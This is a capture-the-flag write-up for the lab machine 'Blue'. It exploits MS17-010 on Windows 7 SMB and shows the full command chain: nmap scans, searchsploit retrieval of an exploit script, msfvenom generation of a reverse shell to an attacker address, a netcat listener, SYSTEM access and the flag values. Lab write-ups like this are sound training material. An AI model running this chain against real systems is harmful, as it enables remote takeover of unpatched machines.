Blue

July 18th, 2020

Blue logo

This is an easy windows box

Tools used

msfvenom
nc
nmap
python
searchsploit

Reconnaissance

Nmap

nmap -sC -sV -oA blue 10.10.10.40 -v

PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -13m23s, deviation: 34m37s, median: 6m34s
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2020-07-18T08:55:19+01:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-07-18T07:55:17
|_  start_date: 2020-07-18T07:52:58

Here’s what nmap teaches us :

port 139 (NETBIOS)
port 445 (SMB)
Windows 7 Professional 6.1

So we have a windows 7 with SMB ports open. Let’s check with nmap if we have some known exploit with SMB.

nmap --script "smb-vuln*" -p 139,445 10.10.10.40 -v

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

Results :

ms17-010 : RCE

Nice, we have a RCE, let’s search for exploit code.

Searchsploit

Searchsploit ms17-010

There’s a Metasploit module, but let’s not use it. I have to do it manually !

Exploit

I’m going to use this exploit “windows/remote/42315.py”, download it, like so :

searchsploit -m windows/remote/42315.py

Reading the code we need to modify it a little bit.

Change the username/password
Change the shellcode, so that the code use mine

Generate the reverse shell with msfvenom :

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.4 LPORT=1234 EXITFUNC=thread -f exe -a x86 --platform windows -o reverse_shell.exe
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: reverse_shell.exe

As username I’ll use “guest” and no password.

Now modify the python code :

USERNAME = 'guest'
PASSWORD = ''

[...]

smb_send_file(smbConn, "/home/liodeus/Downloads/hackthebox/blue/shellcode.exe", 'C', '/shellcode.exe')
service_exec(conn, r'cmd /c c:\\shellcode.exe')

Before executing the exploit, open a nc listener.

nc -lvp 1234

Then launch the exploit.

python 42315.py 10.10.10.40

Go to the nc listener and voila !

nc -lvp 1234
listening on [any] 1234 ...
10.10.10.40: inverse host lookup failed: Unknown host
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.40] 49158
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

We are root ! Go read the flags now !

Flags

User.txt

C:\>dir /b/s user.txt
dir /b/s user.txt
C:\Users\haris\Desktop\user.txt

C:\>type C:\Users\haris\Desktop\user.txt
type C:\Users\haris\Desktop\user.txt
4c546aea7dbee75cbd71de245c8deea9

Root.txt

C:\>dir /b/s root.txt
dir /b/s root.txt
C:\Users\Administrator\Desktop\root.txt

C:\>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
ff548eb71e920ff6c08843ce9df4e717